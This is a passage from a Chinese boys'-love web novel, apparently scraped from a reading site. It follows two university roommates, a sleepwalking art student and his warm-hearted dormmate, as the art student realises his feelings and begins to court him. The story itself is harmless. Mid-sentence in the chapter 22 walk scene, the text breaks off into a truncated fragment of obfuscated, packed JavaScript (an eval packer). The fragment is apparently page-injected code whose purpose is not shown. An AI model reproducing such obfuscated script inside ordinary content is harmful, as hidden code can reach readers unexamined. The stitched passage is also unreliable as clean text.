沈知浔看着屏幕上的照片,夜间模式下照片拍得还算清晰,能清楚的看到他只穿着一件睡衣,紧紧抱着谢时泽,脑袋也埋在谢时泽胸口。 沈知浔从来没想过他梦游会抱谢时泽,僵硬地从屏幕上抬起头 :“我抱你了?” 谢时泽看着他仿佛呆滞了一样的表情 :“除了抱一下你真的没干什么。” 沈知浔觉得自己的脸快烧起来了,虽然因为怕冷的原因他抱过谢时泽,但在他的认知里,拥抱是件很亲密的事。 所以除了冷的受不了,他从来没有请求谢时泽抱他。 但他梦游时,会抱谢时泽。 沈知浔脑海里冒出这个认知,与他以为的梦游情况背道而驰,他整个人都快冒烟了,狠狠闭了闭眼 :“抱歉,我…我不知道,我……” 他说话都语无伦次了,实在不知道该怎么解释,毕竟梦游的事他真的没办法控制。 谢时泽看着沈知浔垂着脑袋,轻轻咬着嘴唇,脸上露出的自责表情,询问 :“你是因为觉得梦游时抱了我而自责吗?” 沈知浔慢慢抬起头,看着谢时泽,张了张嘴,最后闷闷地点了点头。 他以为他梦游只会影响自己的睡眠质量,可他对谢时泽做了一些本不应该做的行为。 一些可能会对他造成困扰的行为。 脑袋突然被人揉了揉,沈知浔抬眸对上谢时泽隐藏着认真的眼睛 :“可是我真的不介意,而且我们不是说好,你觉得冷了可以抱我吗?” “所以只要你想抱我。什么时间、地点都可以。”谢时泽突然张开双手,嘴角上扬 : “沈知浔,要不要抱一下?” 19.第十九章 谢时泽就站在距离他一步之遥的地方,嘴角扬起了一点弧度,脸上的神情几乎称得上温柔还带着一点若有若无的宠溺。 他就站在沈知浔面前,这样笑着看向他,就像令沈知浔感到不知所措的只是一件很小的事。 沈知浔定定地看了他几秒,慢慢迈开脚步,一只手臂的距离,他走了好几步才走过去,走到谢时泽的怀里。 小心翼翼的伸手环住谢时泽的腰,轻轻把脑袋靠在他的胸口。 谢时泽一动不动,只能胸口多了点重量,垂眸看着沈知浔柔软的发顶,这种感觉很奇怪,怎么说呢,像是一只猫从犹豫到试探的慢慢向你靠近。 还是一只异常警惕没有安全感的猫,稍有一点风吹草动都会被吓跑。 这是沈知浔第一次在不是很冷,也没有梦游的情况下抱住谢时泽,这个怀抱很温暖,带着一股令人安心的包容的力量。 以为梦游时的自己只是安安静静站在床边,实际上却抱了谢时泽。 无法控制梦游的自己,不知道会做出什么的惶恐都在这个拥抱下被化解了。 什么都不用去想,不用去担心会不会给舍友添麻烦,不用去想梦游的自己会不会做出更过分的事。 因为是被纵容的。 这个念头突然在沈知浔脑海里冒出来,让他自己都大吃一惊,他从来没想过,有一天他会在一个舍友身上体验到这种感觉。 不是权衡利弊后做出的相信和袒护,而是被划在了和别人完全不同的规则内。 沈知浔的心毫无预兆的乱了节拍。 他怔了怔,眼里都写满了对这种未知情况的困惑,下意识想从谢时泽的怀里退出来。 谢时泽却安抚地拍了拍他的背,动作轻柔,像在哄没有安全感的小朋友一样。 沈知浔挣扎的动作停下,鼻息间似乎嗅到了一股淡淡的味道,像是被太阳晒着,微风不疾不徐的吹过,沾染上青草的味道。 像…春天的味道。 沈知浔茫然地眨了眨眼,燕城的春天多风,并不温暖,他家在比燕城还要北方的城市,气候比这里还冷,他从小到大都没怎么感受过温暖的春天。 对他这样怕冷的人来说,每年都像一下就从冬天直接过渡到夏天。 他情不自禁的贴近了一点,轻轻嗅了嗅,确实是一股暖融融却不像是夏日那般热烈暴晒过的气息,更像春天的味道。 谢时泽能感觉沈知浔从挣扎着想要退出去,到靠得更近了些,轻声道 :“没事了?” 沈知浔动作幅度很小的点头,又想到谢时泽可能看不到,从他怀里退出来 :“嗯。” 谢时泽笑了笑,又揉了揉他的头 :“现在大家都知道你梦游的事情了,你看,没人说什么。所以,以后也不要随随便便就想着搬出宿舍了好吗?” 他的语气温柔,很有耐心的跟他商量。 沈知浔感觉自己的脸上的温度有点高,点了点头,视线飘忽了一瞬,又移回来,看着谢时泽的眼睛 :“谢谢。” 这句谢谢里包含了太多了,甚至让沈知浔觉得有点太轻了。 他甚至不知道是该谢他因为自己梦游赶回来,让他跟舍友坦白的时候不至于孤立无援,还是谢这个安慰意义十足的拥抱。 “没事。”谢时泽随意道,像是不想让沈知浔沉浸在这种感恩的心的心情里太久,转移话题 :“买的画框到了,我要去拿快递,你有没有要带的东西?” 沈知浔摇头,谢时泽嗯了一声,路过他们宿舍的时候问了下向晓和张康年,得到答案就慢悠悠地去拿快递了。 沈知浔回到宿舍,走到自己的椅子前坐着发呆。 坐了一会儿,他拿出手机给阮兆兴发消息。 沈知浔 :[在吗?我想问一下,我以前梦游时会抱住谁吗?] 因为这次梦游做出的事打破了他一贯的认知,让他开始怀疑以前梦游是不是也有类似的情况。 周末没课,阮兆兴的消息回的很快 :[应该没有吧?我没见过你抱谁,孟良他们也没有提过,你这次梦游抱谁了吗?] 沈知浔实在没法向阮兆兴透露他梦游抱谢时泽的事,含糊地回了一句,把手机锁屏,双手放在桌上,脑袋埋进臂弯里,纠结地想,所以他梦游就只抱了谢时泽一个人吗? 他情不自禁地想到刚才那个拥抱。 不是第一次和谢时泽拥抱,却是第一次没有掺杂其他的杂念,只是因为张开双手,嘴角扬起笑的谢时泽,让他有想要抱住他的冲动。 沈知浔的心突然又跳快了一拍,他把头从臂弯里抬起来,冰凉的手背放在滚烫的脸上,温度高得连他自己都诧异。 不正常的温度,却清晰的知道自己没有发烧,是某种从未有过、更浅显的原因引起的。 沈知浔并不笨,他只是不擅长跟人交际,带有艺术家的通病,又因为梦游被舍友排斥过一次,所以更难打开心防。 但爱与被爱与每个人与生俱来的能力。 沈知浔的心跳得越来越快,像密集的鼓点,砰——砰——砰地乱跳着,他茫然又无措,像接触到自己从未踏足过的领域,只能被动感受着这股突如其来的躁动。 伸手放到自己的胸口,隔着厚厚的衣服,似乎也能感受到心脏的欢欣雀跃。 沈知浔觉得自己像被一分为二了,感性无法控制这股悸动,甚至有一丝丝喜悦在心底蔓延,理性却又在剖析这份不应该产生的感情。 至少不应该是为谢时泽产生。 一直以来沈知浔都没有对喜欢的人有一个具体的想象,从不去做假设。但他觉得他是不喜欢男生的,他的不设限制都是针对喜欢的人是女生来进行的。 谢时泽首先就不符合这唯一的一条限制。可是心跳似乎不受控制,它不经过权衡利弊,不去思考喜欢谁会让自己“利益最大化”,它不是理性支配的产物,不会因为理性在坚决说“不”,就停止因为那个人而产生的、前所未有的跳动。 当跳动的心被丝丝缕缕的喜悦包围,这股情绪越加强烈,理性都要为之让步。 沈知浔的脑海就在这一刻,感性和理性的 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谢时泽小心的把画装进画框里,拿出手机咔咔拍了几张照片,闻言大方的把画给向晓看 :“好看吗?沈知浔送我的。” 向晓和张康年都投来视线,见到这幅画,毫不意外的被惊艳了一下,向晓更是半开玩笑半是羡慕地说 :“画的真好,为什么只送给你?” 谢时泽给他们过了眼瘾,精心找了个角度,放在自己的桌子上,随口道 :“因为他人好,因为愿意。” 向晓立刻眼巴巴地看着沈知浔,他自觉沈知浔都跟他们坦白梦游的事了,关系拉近的不是一星半点了吧。能送给谢时泽的画,应该也能送一幅给他们吧? 沈知浔在谢时泽进门拆快递时就回神了,对上向晓期待的目光,他不太能说出拒绝的话,刚要开口,旁边就响起一道声音。 “恐怕不太行。”谢时泽“好心”提醒 :“你忘了学校联合其他高校举办的大学生创意节了?忙着呢,哪儿有时间再给你们画。” 他说着又转头看向沈知浔,毫不掩饰自己的企图心 :“我能拥有咱们宿舍唯一拥有你送的画的荣幸吗?” 沈知浔跟他对视一眼,不算艰难的做出决定,歉意地看向向晓,磕磕绊绊地说 :“最近确实没时间,我送你们别的吧。” 向晓不疑有他地点头,有点不太好意思 :“不送也行,我就是随口一说。” 沈知浔不知道听没听见地点头,又不由自主的把目光放在谢时泽身上,谢时泽恰好在看着他,像是得到了想要的糖果一样,扬起了嘴角。 四目相对,沈知浔感觉自己脸有点烫,他几乎是落荒而逃的移开视线,起身就往卫生间走。 “我去洗个脸。” 谢时泽看着沈知浔称得上慌乱的背影,有点茫然地歪了歪头,不知为何,想到沈知浔突然变红的脸,剔透的眼睛像蒙上了一层雾。 他莫名摸了摸自己的耳尖,有点热。 20.第二十章 沈知浔进卫生间用清水把脸打湿,看着镜子里的自己,眼睛像蒙着一层雾,脸也泛着红晕,冷水都消不下去的滚烫。 他盯着看了须臾,神奇地冒出一个念头,早知道喜欢一个人就能让自己体温上升…… 那也很难办到。 毕竟喜欢上某个人不是像画画一样简单的事。 沈知浔从来没有喜欢过谁,在突然醒悟自己喜欢谢时泽之前,他连理想型都没有,由此可见喜欢是一件很奢侈的事。 沈知浔觉得这份喜欢在他心底像小树苗一样脆弱,需要小心的呵护,以期望不要在半路夭折。 尤其他跟谢时泽的舍友关系,如果对方没考虑过跟男生谈恋爱,或者对他没意思,他又早早暴露了,那同处一室岂不是很尴尬? 好不容易遇到能接纳他梦游的舍友,沈知浔也不想在八字没一撇的情况下又陷入要搬出宿舍的局面。 他在卫生间待了好久,一边给自己降温,一边思索要怎么办。 谢时泽应该是直男,但直男也分很多种,有直的只喜欢女生的,也有像沈知浔这种直得不明不白,弯得莫名其妙的。 他不确定谢时泽是哪种,又后知后觉人的性向真的能这么轻易就改变吗? 涉及到知识盲区了,沈知浔想到身边仅有的能回答他这个问题的人,把这个疑问发给了阮兆兴。 阮兆兴 :[觉得自己应该喜欢女生,但最后喜欢上男生的算直男吗?这算什么问题?] 阮兆兴没有往沈知浔身边想,只以为他是看到了什么产生了困惑 :[这种应该算深柜吧。] 沈知浔从卫生间出来,径直拉开椅子坐下,求知若渴 :[深柜?] 阮兆兴 :[就是以为自己喜欢女生,有点排斥同性恋,其实内心深处是可以接受同性的人。] 沈知浔皱着眉,觉得他不符合深柜这个状况,因为他从来没想过会喜欢上谁,更别说是排斥哪个群体了。 斟酌了一下回复 :[不喜欢谁,好像也不排斥同性。] 阮兆兴隔了一会儿才回复,大概也在思考这个问题 :[那可能就是双性恋,或者就是单纯喜欢上某个人?不拘束他是男是女。] [不是还有新闻,某地某小伙喜欢上什么动物吗?那这样也说得过去,拿我举例,我虽然性别男,爱好男,但一直没有恋爱的打算,在我看来,谈恋爱或者喜欢上什么,都是一种情绪索取。] 沈知浔若有所思 :[情绪索取?] [是啊,那个人身上有你没有的特质或者有你欣赏的东西,比如恰好长在你的审美点上,比如三观契合,又比如一些你喜欢欣赏的东西都在那个人身上,那他是男是女还重要吗?光遇到就很难了吧。] [这时候就不需要思考那么多,勇往直前就完事了。] 沈知浔大概明白了,他把手臂放在桌子上,下巴搁在手臂上,谢时泽身上有他喜欢的特质吗? 有的。 他很暖和,可是光暖和还不够,他又很阳光、爱笑、爱助人为乐、脾气也很好……由他身上所有的特质组成的人才是让沈知浔心动的。 一直以来都不知道自己的理想型是什么样的沈知浔,就在这一秒突然在脑海里勾勒出了一个具体的人。 得善良、聪明、脾气好、阳光,得很暖和。 得是谢时泽才行。 沈知浔慢慢回神,又将视线放在熄灭了屏幕的手机上,想到阮兆兴最后一句这个时候要勇往直前,转头看向坐在椅子上的谢时泽。 他正坐在椅子上看手机,察觉到沈知浔的视线,从屏幕上抬头,扬眉 :“今天不画画吗?” 沈知浔闻言就想起他这阵子注意力不集中的事,现在想来好像也总是因为谢时泽分心。不知道是不是早有预兆。 摇了摇头 :“现在不画。”他望着谢时泽 :“你明天中午有空吗?” 谢时泽 :“有空,怎么了?” 沈知浔手指虚虚握紧,佯装镇定 :“我能跟你一起吃饭吗?” “可以啊。”谢时泽手机都不玩,就握在手里当摆设了,以为沈知浔有什么事,听到只是吃饭才笑了起来 :“我明天上午没课,那我去画室找你?” 沈知浔点了下头,脸不知为何又有升温的趋势,他转过头,面对着自己的桌面轻轻呼出口气。 勇往直前,也不是那么难。 - 周一,画室。 沈知浔凝神给面前的画上色,教授一一走到每个人身旁看大家画板上的画,走到沈知浔旁边时,惊讶 :“换风格了?” 沈知浔看着面前色彩搭配鲜艳的画,轻轻点头。 教授倒是有点意外,画能体现一个人的心境,沈知浔以前的练习都比较萧条,颜色搭配远不如现在这样鲜艳明亮,与其说是改变风格,不如说心态有所改变。 他想到创意节的事 :“创意节的画准备的怎么样了?” 沈知浔有想法了,只是现在还画不出来,诚实道 :“还要等一段时间。” 教授看着沈知浔不卑不亢,一看就心里有底的样子,不由得诧异这个一向把画画放在首位的学生,现在看上去像是被什么东西绊住了脚步,饶有兴趣地问 :“最近没空?” 沈知浔觉得也不能算没空,虽然他是要追人,可画一幅画的时间还是有的,只是画和能不能追到人有点关系,嗯了一声,嘴角扬起浅笑 :“在忙一件很重要的事。” 教授没有生气,创意节邀请了很多人,参加的人也许能获得助力,但学生的身心健康在他看来更重要。 看着沈知浔难得露出的不加掩饰的笑,知道他是个从不懈怠的人,轻轻摇头 :“既然是很重要的事,那画画的事可以暂时放一边,别忘了就行。 接近中午的时候,下课时间一到,沈知浔不疾不徐的收拾着画具,画室的人都走得差不多了。 谢时泽来过一次画室,知道楼层,轻车熟路的上楼,走到画室门口,看到正在收拾东西的沈知浔,敲了敲门 :“我是不是来晚了?其他人好像都走了。” “没有。”沈知浔说,他给谢时泽说的时间就是现在,只是他比较磨蹭,每次都要收拾好才会离开。 他说要跟谢时泽吃午饭是想多点接触时间,现在才想起来,从宿舍到画室,再去食堂其实是有点绕的,不禁懊恼道 :“应该我去宿舍找你的。” “ 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中午食堂人很多,到处都排着一长串的队伍,但沈知浔还是轻易捕捉到了谢时泽的位置,他站在一小截队伍后面,脸上的表情看上去有些随意的懒散,一个侧脸都有种说不出的好看。 沈知浔看着他随队伍移动,旁边突然走过来一个女生,她拿着一瓶水走到谢时泽面前,交谈了什么,谢时泽摇了下头。 女生原地站立了两位,握紧了手里的水,转身朝同伴走去。 沈知浔默默看着,等谢时泽端着餐盘回来,把一碗米线放到他面前,提醒他 :“有点烫,慢点吃。” 沈知浔点头,看着坐在他对面的谢时泽,还是没忍住问了一句 :“刚刚是不是有人要你的微信?” 谢时泽伸手拿筷子,声音很茫然 :“没有吧?怎么这么说?” 沈知浔沉默了一秒,不知道刚刚的女生是怎么跟他说的,但是看谢时泽茫然的样子。 他想起向晓和张康年吐槽谢时泽脑子里没有恋爱那根弦的话,他当时没太放在心上。 现在,一时也不知道该同情那个女生还是同情自己。 沉默片刻,沈知浔问出了心底最好奇的问题 :“谢时泽,没有人追过你吗?” 谢时泽怔了怔,眼底闪过一丝困惑,还是认真思考了一下 :“好像还真没什么。” 沈知浔惊讶中感到有一丝心累,谢时泽怎么可能没人追,只能是他根本没把那些暗搓搓的靠近当做追求罢了。 沈知浔轻轻呼出口气,安慰自己,虽然谢时泽在感情方面迟钝了一点,不过也代表,那么多靠近他的人里,他没有喜欢的。 谢时泽不知道沈知浔在心里腹诽他,拆开一双筷子,交叉着摩擦了一下才递给沈知浔。 沈知浔看着面前的筷子,突然觉得如果不直白一点谢时泽是不会理解的,他会自动把一切都合理化。 尤其他们是两个男生,做什么好像都能找到合适的理由。 他抬起眼睫,放在腿上的手收紧,语气很慢 :“那你觉得,如果有人想追你的话。” “怎么才能追到你?” 21.第二十一章 谢时泽愣了一下,给自己拆筷子的动作都顿了顿,食堂嘈杂,但沈知浔的声音还是落到了他耳朵里,他抬眼就对上沈知浔的眼睛。 他似乎就是随口一问,脸上的表情很淡定,漂亮的杏眼不动声色的睁大了一点,短暂的沉默像在这一隅空间被无限拉长了。 沈知浔不自在的抿了抿唇,眨了一下眼,自然的将视线落在面前还散发着热气的米线上。 他忐忑、不安,谢时泽沉默的这几秒对他像是过了一个世纪,一只手默默攥紧了筷子,他在想,他是不是问的有些明显了。 谢时泽是不是察觉到了什么? 他胡思乱想着,控制不住自己往最糟糕的地方去想,对面的谢时泽像是终于反应过来了,笑了起来 :“沈知浔同学,你在八卦吗?” 沈知浔没想到他沉默的几秒钟就是在想这个,在心里给自己加油鼓劲,抬眼跟他对视 :“不行吗?” 谢时泽笑笑 :“行啊,挺好的。” 沈知浔嗯了一声,提醒他 :“你还没有回答我的问题。” 谢时泽凝神思考,一秒、两秒,沈知浔屏息以待,谁知对方像遇到了什么无法破解的难题一样摊手 :“我也不知道。” 沈知浔愣了,不知道?这算什么答案。 谢时泽见沈知浔愣住的表情,绞尽脑汁跟他解释 :“如果我知道怎么才能追到我,那我不应该已经谈上恋爱了吗?” 如果追求有标准答案,人人都按照那个答案去追他,那他可能早就脱单了。 “这事应该不看追求手段,而是看人。” 沈知浔回神,听到谢时泽的话,他突然意识到,谢时泽被那么多人明里暗里的追求都没有察觉,或许不是因为他迟钝,而是他的心没有给靠近的人机会。 沈知浔低低哦了一声,低头神思不属的夹着砂锅里的米线,像谢时泽这样看似随和大方,不会让任何人难堪,实际上才是最难追的。 那些还在萌芽的朦胧情愫刚靠近,都被他无知无觉的态度掐断了。 你既恼他的迟钝、无知无觉,仿佛永远都不会开窍,潜意识里却知道,对你的迟钝何尝不是一种无声的拒绝。 沈知浔第一次喜欢人就遇到这样难搞的对象,心里多少应该有点打退堂鼓,可他却升起了一股释然的情绪。 他喜欢的人很好,对他很好,对周围的人也很好。 他很喜欢,想要试试能不能在一起。 既然谢时泽在察觉到别人的想法之前,就用迟钝的表现无形扼杀了很多处在萌芽状态的感情。 那他其实不用刻意遮掩自己的心思,如果谢时泽对他没有意思,就算是为了宿舍的和谐,他也会为他的行为找出合理的理由,不会产生一丝一毫的怀疑。 到时候他会退回舍友的位置,藏好自己的心思。 如果他的行为让谢时泽意识到不对劲,他有幸成为那个特殊的人,那他会很高兴。 沈知浔只觉得豁然开朗,困扰他的问题迎刃而解,连食欲都好了一点,正要专心吃东西,旁边突然多出一瓶水。 他顺着瓶身往上看到谢时泽收回的手指。 谢时泽问 :“是不是怕烫?” 沈知浔知道应该是自己发呆吃得太慢了,没有拒绝他的好意,点头道谢,想起现在只剩下最后一个让他拿不准的问题 :“只要人对了就能追到你,也不拘泥于性别吗?” 谢时泽没想到他又绕回了刚才的问题,反应了一下,顺着他的话想,虽然他也没谈过恋爱,但是这种事,很多人的理想型甚至都不是现实生活的人。 看着求知若渴的沈知浔,嗯了一声点头 :“虽然还没有碰到喜欢的,但是这种事,我觉得挺简单的,我喜欢、他乐意,那就没问题了。” 他是真的随意,不像沈知浔还适当的纠结了一下性向的问题。 就像这个世界上只有他自己能决定他的爱情,别人的眼光和看法对他来说一点都不重要。 只要他喜欢,只要那个人愿意。 沈知浔定定地看着谢时泽,感受着胸腔内跳动的心脏,陌生的情愫盈满心间,拥有让人情不自禁想要微笑的魔力。 怎么办,他好像更喜欢谢时泽了。 - 沈知浔下午只有两节课,回到宿舍时,发现宿舍只有他一个人,其他人的课都在下午。 他坐在自己的桌子旁,趁着谢时泽还没回来赶紧画今天的练习。 自从明白心意后,沈知浔画画的速度慢了不止一星半点,虽然画出来的画在教授看来更出色、有灵气了。 但沈知浔对自己的要求很高,如果不出意外,他未来也会把画画当成自己的本职工作。 他不希望自己的所有身心都沉浸在这种神魂被牵引的感觉中,从而在画画方面懈怠。画得慢,也不能不画。 沈知浔一直到画完两幅练习,脖颈都有些酸了,手也冷得僵硬,他才放下画笔活动了一下身体,抬头往阳台外看了一眼。 最近不再刮风,不像之前那么冷了,但天依旧黑的很早,他看看天色,又转头看看空无一人的宿舍。 想到昨晚听到向晓和张康年吐槽他们的课要上到很晚的话,起身去拿换洗衣服,把洗澡时间提前了。 进了卫生间,沈知浔视线在镜子前停留了片刻,他一直都知道自己长得好看,身边的人也在不断加深这个认知。 此时盯着镜子里的自己,眼睛是剔透澄澈的杏眼,像个半圆,双眼皮的褶皱很漂亮,眼尾上翘,有点像狐狸,脸上的神情却很淡,气质也偏清冷。 他望着镜子里的自己,试探地扯了扯嘴角,又抿了抿唇,唇瓣的颜色有点淡,没什么血色的样子,沈知浔咬了咬唇,看着柔软嘴唇慢慢染上鲜艳的颜色。 如果被亲吻过应该也是这个颜色吧? 他一愣,意识到自己在想什么,沈知浔的脸刷地就红了,他皮肤白,这点红晕在脸上很明显,他仓促又崩溃地移开眼,越想脸越红,耳朵都跟着烧了起来。 沈知浔匆匆洗了个澡,他出去时,恰好与刚回宿舍的谢时泽撞上,谢时泽放下专业书,原本还以为宿舍只有他一个人,看到沈知浔从卫生间出来,下意识扬起唇角 :“我还以为你不在,想着要不要去找你,原来都下 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沈知浔身上的皮肤都很白,白皙的后颈贴着一些湿发,衬得那截露出来的皮肤更白了,他穿了一件领口有些大的睡衣,灯光下,似乎能顺着领口缝隙隐约看到一截漂亮的肩胛骨。 他里面没穿衣服。 谢时泽像是被这个认知冲击到了,转瞬他又有些茫然地想,换了睡衣里面当然不用穿衣服,他为什么会有点震惊的样子。 谢时泽神情都带着一点困惑,沈知浔的声音打断他的思绪 :“吹好了吗?” “……快了。”谢时泽回神,下意识要抓起黏在沈知浔后颈上湿漉漉的发丝,入手的触感却是一片滑腻,温热掌心下那片皮肤似乎敏感地颤了颤。 谢时泽顿了顿,沈知浔却从椅子上起身,神情自若地说 :“好像差不多了,剩下的我自己擦吧。” “哦。”谢时泽反应都变得迟钝,关掉吹风机,手指忍不住又摩挲了一下触感,他有点怀疑是不是因为他碰到沈知浔的后颈,他才头发都没吹好就站起来。 平时跟人打打闹闹惯了,勾肩搭背也不是没有的事,不小心碰到男生的后颈在谢时泽这里都不算是个事,但莫名的,面对沈知浔,他就有点不同的感觉,觉得沈知浔和那些打打闹闹的朋友不一样。 他摸了摸鼻尖,思索到底哪里不同,沈知浔细致的擦着头发还有点潮湿的地方,待擦得差不多了,他才将视线放在谢时泽身上,犹豫了一秒,慢慢走过去,抱住了谢时泽。 谢时泽立马回神,连忙伸手接住他,声音都放轻了,透着一点若有似无的温柔 :“冷吗?” 话音刚落,他就感觉脖颈处贴上了柔软的发丝和一点滑腻的肌肤。 谢时泽一愣,沈知浔这次的抱法和之前不同,他伸手勾住了谢时泽的脖颈,因为身高差距,他还踮起了一点脚尖。 谢时泽下意识搂住他的腰。 低低的声音在耳畔响起,说话的尾音像一把小勾子,在撩拨着谢时泽的神经 :“不冷,也没有梦游,就是单纯的想抱你。” 22.第二十章 淡淡的沐浴露香气充盈在谢时泽鼻息间,果香中夹杂着一点花香。 像柑橘和蔷薇混合在一起的香味,香味并不浓郁,似有似无的传来,扰乱心神。 谢时泽不自觉的低头,方便了勾着他脖颈的人更好借力,也无可避免的跟人对视上了。 青年微微仰着头,他眼中灿若繁星,直直地朝他看过来,也像是有星星落到了他眼里,眼底深处倒映出他的身影。 谢时泽沉浸在他的眼睛里,像是被他眼中倒映出的身影吸引,又像是繁星里藏着漩涡,将他吸了进去。 他尚未思考明白,只一昧的迷失在他的眼眸,可转瞬,沈知浔就松开勾着他脖颈的手。 谢时泽在他松开后,搂着他腰的手情不自禁的收紧了一瞬。 很快反应过来,松开手,看着沈知浔淡定自若的走到自己的床铺,然后脱鞋上床,拉紧床帘。 拉紧的床帘隔绝了视线。 谢时泽怔愣了一秒,脸上的神情有些茫然,像是遇到了难以破解的难题一样,站在原地发呆了几秒,才慢慢转身往卫生间去。 卫生间里的热气还没散,一进去他就闻到一股了熟悉的味道——是沈知浔身上的沐浴露香味。 卫生间窗户紧闭,只除了他刚打开门时进来了一些冷空气,不足以驱散里面存留的气味,他稍稍吸一口气,沈知浔身上的气味就从四面八方向他涌来。 谢时泽刚刚才被他抱过,待在这样的空间里,就像是……再次被他密不透风的抱住一样。 谢时泽怔愣了,突然听到啪嗒、啪嗒的声音,一声接着一声,恍惚了一下这道声音是从哪里传来的,目光寻找了一番,看到洗脸池的开关没有关紧,水滴汇集着一滴滴的落下来。 他伸手拧紧了,神情却更加茫然,眉头都微微蹙了起来,他难得有这样困惑的时候,脑子也有点乱。 连刚才发生的一切都不敢细想,一细想就会感觉耳尖在发烫。 谢时泽伸手摸着自己的耳尖,不可避免的想到一个问题 :所以沈知浔不冷也没有梦游,那……为什么会抱他? 他并不介意沈知浔抱他,只是莫名在意这个拥抱的含义,总觉得和平时不太一样。 苦思冥想也想不出答案,反而觉得卫生间里属于沈知浔的那股香味越加浓郁了。 想到帮沈知浔吹头发时,不经意触碰到的一点滑腻肌肤,和隔着一层睡衣依旧一只手就能搂过来的细瘦腰肢。 谢时泽轻轻“嘶”了一声,心里盘旋着的困惑更大,智商前所未有的下线,他忍不住喃喃道 :“谢时泽,你原来是个笨蛋吗……” 怎么什么都搞不明白。 - 第二天,沈知浔上午两节是大教室的专业课,后两节在画室。 画画其实也很枯燥,大部分时间都要待在画室,有些时候还需要从早坐到晚,不停的做练习,没有一点天赋或者热爱很难坚持下来。 沈知浔中午依然约了谢时泽一起吃饭。 他觉得他是追人的主动方,应该主动去谢时泽教学楼下面等,却被谢时泽以他们那堂课与画室正好在一条路上顺路为理由堵了回来。 沈知浔昨天反省了一下两人的相处方式,追人总结起来就是潜移默化的对人好。 但他怎么想都觉得两人的相处中,谢时泽都是更主动的那一方。 沈知浔想,他不善言辞、也不会交际,他也没觉得这是特别不好的缺点。 但如果是面对喜欢的人,他可以试着做出一点改变。 这次他早早就收拾好画具,到艺术楼下面去等谢时泽。 等谢时泽走到艺术楼附近,就看到艺术楼里不断的有学生三三两两的走出来,沈知浔站在楼梯边缘附近,他今天穿了一件亮色的羽绒服,正仰着头看艺术楼旁边载种的树,身体微微晃悠着。 谢时泽加快脚步朝他走去,走到他面前,上下看了他一眼,微微皱眉 :“怎么不在画室等?外面不冷吗?” 沈知浔摇头,他特地站在外面等,就是想不动声色的让谢时泽感受到——虽然他没去他们教学楼下面等,但对跟他吃饭是抱着一颗很正式的心的。 “不冷,出来透透气,正好你也不用走楼梯。” “走两层楼梯又不累。”谢时泽语气随意,看沈知浔穿的还是很暖和,这两天气温也高了一些,才没说什么。 两人沿着艺术楼往食堂走,路上时不时就有人从他们旁边走过。 他们走的不快不慢,沈知浔看到前面有一对情侣,两个人手牵着手一起往食堂走。 沈知浔又看了看其他人,除了情侣,路过的男男女女似乎都没有牵手的,关系好的女生更喜欢挽手。 沈知浔手指其实还是冰凉的,手掌心也没什么温度,只是不再像冻僵一样的冰冷,再加上他的注意力全放在身旁的人身上,对温度的感知就不那么强烈了。 他的手垂在身侧,装作不经意地去碰了一下谢时泽的手。 谢时泽顿了顿,连脚步都没停,继续往前走,也没把手放进口袋里。 沈知浔胆子稍微大了点,他觉得这样装作不经意的碰一碰,比直接牵手还要考验他,走了一段路,他靠近谢时泽那边的手又碰了他一下。 这一下食指勾了谢时泽的手指一下,从他的手指上轻轻划过。 谢时泽脚步微微停滞了一瞬,刚被他不经意勾了一下的手指接触时像有一股酥酥麻麻的电流,他侧头,沈知浔目光直视前方,他今天打扮的很亮色,略鲜艳的颜色穿在他身上,冲淡了他身上的清冷。 除了穿着打扮的略鲜艳了一点,似乎和平时也没有什么不同,只是没有戴围巾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢时泽还没从刚才那个不易察觉的笑容里回神,看见沈知浔转过头,心头莫名涌上一股失落。 这股失落的情绪还没存续两秒,他就看到沈知浔咬了下唇,比平时多了一点血色的唇瓣被咬了一下,接着又抿了抿,让他的唇瓣看上去更软,也更饱满,润润的。 沈知浔假装没发现谢时泽的视线,顶着泛红的耳尖继续往前走。 谢时泽怔愣了一下才跟上脚步,偏头看他一样,又看一眼,目光在沈知浔身上转一圈,落到他的嘴唇上。 片刻后,他懊恼地转过头,惊疑不定地想,他怎么会觉得沈知浔的嘴唇软软、润润的,看着很好亲呢? 他沉浸在这种从未产生过的念头的茫然,和对自己冒出这种念头的不可思议中。 没注意,沈知浔在他转过头后,嘴角弯起一瞬,回味了一下嘴里被他含进去一点的唇膏味道,葡萄味的。 23.第二十三章 沈知浔笑起来是很惊艳的,一向清冷的人突然露出笑容有种冰雪消融的感觉,他笑的也并不夸张,只嘴角翘了翘,有股矜持的感觉,搭配着他身上的出众气质,有股温柔的味道。 可惜这个笑容快得一闪而过,几乎没有人看见。 离食堂没几步路了,沈知浔专心走路,没有再朝旁边看一眼,垂在身侧的手也规规矩矩的,不再“不小心”碰到谢时泽了。 谢时泽却兀自陷入了纠结茫然中,他不知道自己怎么会冒出这样的想法,思索良久后轻轻“啧”了一声,低声含糊地咒骂了一句。 要是让沈知浔知道自己对他有这种变态想法——可能会疏远他。 谢时泽下意识不想让这种事发生。 一路烦躁的走到食堂,谢时泽才将脑袋里乱七八糟的念头抛在脑后,像以往那样问沈知浔想吃什么,自己去排队。 沈知浔看了一眼食堂的几个窗口,选了炒面,谢时泽嗯了一声,转身往炒面的窗口走。 沈知浔多看了他的背影一眼,去找空位置,食堂人多,他找了一会儿才找到。刚坐下,肩膀就被人拍了拍,转头看到阮兆兴端着吃完的餐盘,站在他旁边。 阮兆兴扬眉 :“真是你啊,怎么现在才来?这个点可是吃饭的高峰期。” 沈知浔确实在路上磨蹭掉了一点时间,只是不知道为什么他不急,谢时泽也没提醒他,看了眼他空了的餐盘 :“你要回去了吗?” 阮兆兴是打算回去的,他们医学生课业繁忙,但看了看沈知浔一个人坐在这儿,桌上也没摆什么东西 :“有人跟你一起?” 沈知浔如实道 :“谢时泽。” “嚯,校草啊。” 阮兆兴来了兴趣,盯着沈知浔看了几秒,突然觉得他哪里和平时不太一样,敏锐道 :“你涂润唇膏了。” 又上下打量沈知浔几眼 :“今天的衣服搭配也很有活力,嫩嫩的,没戴围巾,脖颈看着漂亮又修长……你不冷吗?” 春天是最乱穿衣服的季节,很多人都换上了春装,阮兆兴太了解沈知浔有多怕冷,对他摘了围巾,没恨不得把自己裹成一个球感到惊讶。 “还好,这两天气温高了。”沈知浔顿了顿,真诚发问 :“很明显吗?” 阮兆兴笑眯眯地 